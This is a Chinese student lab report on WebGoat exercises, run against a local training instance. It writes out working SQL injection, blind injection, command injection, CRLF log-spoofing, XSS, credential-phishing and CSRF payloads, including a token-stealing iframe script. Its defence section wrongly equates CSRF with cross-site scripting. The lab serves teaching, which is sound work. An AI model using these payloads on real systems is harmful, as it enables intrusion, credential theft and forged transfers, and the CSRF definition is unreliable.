2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础
实验目的
理解常用网络攻击技术的基本原理。
实验内容
- SQL注入攻击
- XSS攻击
- CSRF攻击
Webgoat前期准备
从GitHub上下载jar包
拷贝到本地,并使用命令
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]
则开启成功,可以看到占用8080端口,实验过程中不能关闭终端
打开浏览器输入
127.0.0.1:8080/WebGoat
,使用默认名和密码登录在Webgoat中,solution是答案,hints是提示。打开界面,可以看到有一连串的课程。
每完成一项课程就会有一个小对勾
出现的问题
打开webgoat时左侧未出现课程
解决方法:重新下载javaversion,具体参考这个链接
(一)SQL注入攻击
选择Injection Flaws
开始实践
命令注入:Command Injection
命令注入攻击是对任何参数驱动的站点的严重威胁。
查看hints:使用系统命令获取文件的内容
也就是说这个操作是要向操作系统注入命令
以
ps -ef
为例,获取进程信息我们在页面的源代码中加入我们的命令:在源代码中找到"Backdoors.help",在其后加上
"& ps -ef
保存后下拉框中可以看到我们刚刚修改的选项,点击
view
,可以看到进程信息
数字型注入:Numeric SQL Injection
能看到给出的界面中显示了一条SQL语句
SELECT * FROM weather_data WHERE station = ?
,使用数字型SQL注入,可以在网页源代码中的选项后面加上or 1=1
,这样就可以获得所有地区的天气信息了。还可用purpsutie抓包修改参数。
打开purpsuite,点击
Proxy
->Options
->Add
添加一个监听端口,添加成功后运行点击浏览器中的
preferences
->Advanced
->Network
->Connection
->settings
->Manual proxy configuration:
设置成刚刚绑定的端口号。接着在之前的课程页面上点击GO,在purpsuite->
Proxy
->Intercept
可以看到捕获的包右键选择
send to repeater
,点击Repeater
->Params
可看到station的值为101,修改为“101 or 1=1”,点击GO
再点击
Intercept is on
,这时可看到显示所有地区天气信息
日志欺骗:Log Spoofing
- 顾名思义,就是添加假的日志信息来迷惑操作系统,目的是让用户名“admin”成功登录。
- 在User Name输入
zyl%0d%0aLogin Succeeded for username: admin
,%0d是空格,%0a是换行 - 点击登录出现两行,一行提示zyl登录失败,另一行提示admin登录成功,这些信息就会被保存到日志里了。
字符串注入:String SQL Injection
下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。
- 和数字型一样,我们的目的是构建一个永真式,由于字符串在数据库中是由
'
构成的,我们在last name中输入Smith' OR '1'='1
所有的用户信息被输出
实验室stage1:String SQL Injection
- 选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
- 目的是在不知道密码的情况下登录账户Neville
- 在密码框中输入
Smith' or 1=1 --
,攻击成功可得到所有人员列表
实验室stage3:Numeric SQL Injection
- 目的是用员工的账户登录,浏览boss的账户
- 首先用Larry的账号登录,使用
' or 1=1 --
作为密码 - 点击
ViewProfile
可以查看用户信息,那么我们要做的,就是点击这个按钮后跳转到boss的信息。 - 查看网页源代码,可以看到索引的依据是员工ID,可是我们不知道老板的ID怎么办?数据库中可以使用排序来筛选信息,而老板一般工资都是最高的,将id的value改成
101 or 1=1 order by salary desc --
,点击ViewProfile
- 得到老板的账户信息,攻击成功
数据库后门:Database Backdoors
根据提示,输入id为101
我们可以看到插入查询语句的字符串没有经过任何处理,可以输入多条语句进行增、删、改、查
输入注入语句
101; update employee set Password=5230
执行,可以看见密码框变为了设置的密码
数字型盲注入:Blind Numeric SQL Injection
- 目的是知道pin在pins 表里的值,先尝试
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的 - 不断用二分法进行测试,发现pin为2364
字符串盲注入:Blind String SQL Injection
- 目的依旧是要知道pin的值,最大的不同是要查询的字段是一个字符串而不是数值
- 输入
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );
显示出错,判断其是否比字 母“H”小 - 把1换成2
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );
,- - 经过多次测试和页面的返回数据,判断出第一个字符为“J”结果为Jill
(二)XSS攻击
选择Cross-Site Scripting (XSS)
开始实践
网络钓鱼XSS:Phishing with XSS
使用XSS和HTML插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要通过本课程,凭证必须发布到捕获者servlet。
根据要求,我们编写代码,设计一个简单的登录界面获取用户名和密码并发送到指定地方
This feature requires account login:
Enter Username:
Enter Password:
```
- 点击搜索,看到下面有个登录界面,登录提示
![](https://img2018.cnblogs.com/blog/1296643/201905/1296643-20190525123353350-556546817.png)
存储型XSS攻击:Stored XSS Attacks
- 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
- 根据题目要求,在留言板中输入
<script>alert("You've been attacked!!!");</script>
- 点击刚刚创建的帖子,弹出窗口
反射型XSS攻击:Reflected XSS Attacks
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码
- 就像上一个实验直接在输入框中输入代码一样,反射型XSS是不持久的,在提交到后台的过程中输入的JavaScript脚本就会被执行
- 同样输入弹窗代码
<script>alert("20165230 attack!!!");</script>
,点击purse的同时页面就给出了反馈
(三)CSRF攻击
跨站脚本攻击:Cross Site Request Forgery
您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。您可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。
- 也就是说,要发送一个有恶意图片的电子邮件,目的是要转走用户的钱。
- 在消息框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />
,成功看到左边多了一个小绿√
XSS提升:CSRF Prompt By-Pass
- 和上一个实验差不多,多了一个确认转账的任务
- 输入代码
<img src="attack?Screen=279&menu=900&transferFunds=5000">
<img src="attack?Screen=279&menu=900&transferFunds=confirm" >
- 查看消息,看到转账消息:
CSRF令牌攻击:CSRF Token By-Pass
类似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。
- 在前面实验的基础上,使用令牌传输数据
- 输入代码
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" ></iframe>
<iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
- 按之前的步骤操作
实验问题回答
- SQL注入攻击原理,如何防御
- 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息
- 对输入的字符串进行处理,筛除特殊字符
- 普通用户与系统管理员用户的权限要有严格的区分
- 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息
- XSS攻击的原理,如何防御
- 用户在输入框输入JavaScript代码,提交的时候直接执行,有办法获得网站的cookie
- 表单提交的时候进行特殊字符的检测
- 对输入框做长度限制
- 在后台对数据进行过滤
- 用户在输入框输入JavaScript代码,提交的时候直接执行,有办法获得网站的cookie
- CSRF攻击原理,如何防御
- CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。一般存在XSS漏洞的网站,也极有可能存在CSRF漏洞。
- 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
- 将提交方法改为post
- 定期清理cookie
- 使用随机数对表单中的值进行验证
- CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。一般存在XSS漏洞的网站,也极有可能存在CSRF漏洞。
实验总结
这是最后一个实验了,做完特别有成就感。这次实验通过使用webgoat做了一系列的sql,CSRF和xss攻击,使我对这几种攻击方式有了更清楚的区分和理解,也通过实例让我们在平时生活中能更注意一下容易被攻击的细节,让我对我们这些菜鸡编出来的代码极度的否定态度,没有找不出来的漏洞,所以在信息安全这条道路上好好的体会琢磨吧,道阻且艰!
2018-2019-2 网络对抗技术 20165230 Exp9 :Web安全基础的更多相关文章
- 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础
2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...
- 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13
<网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...
- 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...
- 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础
2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...
- 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...
- 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165312<网络对抗技术>Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric SQL Injecti ...
- 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165210<网络对抗技术>Exp9 Web安全基础 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 实验内容 安装Webgoat SQL注入攻击 - ...
- 2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础
2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS ...
- 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114
Exp9 Web安全基础 目录 一.实验内容 二.基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 三.实践过程记录 3.1 注入缺 ...
- 2018-2019-2 (内附jdk与webgoat完整安装教程)《网络对抗技术》Exp9 Web安全基础 Week13 20165233
Exp9 Web安全基础 目录 一.基础问题 二.实验步骤 实验前准备:jdk与webgoat的安装 实验点一:SQL 命令注入(Command Injection) 数字型注入(Numeric SQ ...
随机推荐
- Delphi 10.3.2 社区版的安装
1.去 https://www.embarcadero.com/cn/products/delphi/starter 下载安装程序 首先你要有一个embarcadero社区账号,国内线路下载有点慢,下 ...
- python爬虫—爬取英文名以及正则表达式的介绍
python爬虫—爬取英文名以及正则表达式的介绍 爬取英文名: 一. 爬虫模块详细设计 (1)整体思路 对于本次爬取英文名数据的爬虫实现,我的思路是先将A-Z所有英文名的连接爬取出来,保存在一个cs ...
- form.submit()提交后返回数据的处理
form.submit()发送请求一般是单向的,如果需要取返回的数据,一般会发送ajax请求,但是如果form中有附件呢?(以后有时间给大家分享ajax上传附件的功能),确实需要返回数据来知道该功能是 ...
- [转]全面认识golang string
作者:@apocelipes本文为作者原创,转载请注明出处:https://www.cnblogs.com/apocelipes/p/9798413.html string我们每天都在使用,可是对于s ...
- Python文件属性模块Os.path
Python文件属性模块Os.path介绍 os.path模块主要用于文件属性获取和判断,在编程中会经常用到,需要熟练掌握.以下是该模块的几种常用方法. os.path官方文档:http://docs ...
- echarts 折线图百分比 tooltip 实例 两种方法
方法一 在知道有几个类型时:下面有五个类型 tooltip : { show : true, trigger: 'axis', formatter: '{b0}<br/>{a0}: {c0 ...
- 中文版Postman测试需要登陆才能访问的接口(基于Cookie)
ApiPost堪称增强版的中文postman,是一个支持团队协作,并可直接生成文档的API调试.管理工具.它支持模拟POST.GET.PUT等常见请求,是后台接口开发者或前端.接口测试人员不可多得的工 ...
- 3 Linux文件基本属性
Linux系统是一种典型的多用户系统,不同的用户处于不同的地位,拥有不同的权限.为保护系统的安全性,Linux系统对不同的用访问的同意文件(包括目录文件)的权限做了不同的规定eg: [root@www ...
- 【JavaScript】案例三:使用JS完成页面定时弹出广告——事件(onload)
事件(onload) *注意点: 变量加var局部变量,不加var全局变量 setInterval() 方法会不停地调用函数,直到 clearInterval() 被调用或窗口被关闭. 返回值:返回 ...
- @TableId
描述:主键注解 属性 类型 必须指定 默认值 描述 value String 否 "" 主键字段名 type Enum 否 IdType.NONE 主键类型 #IdType 值 描 ...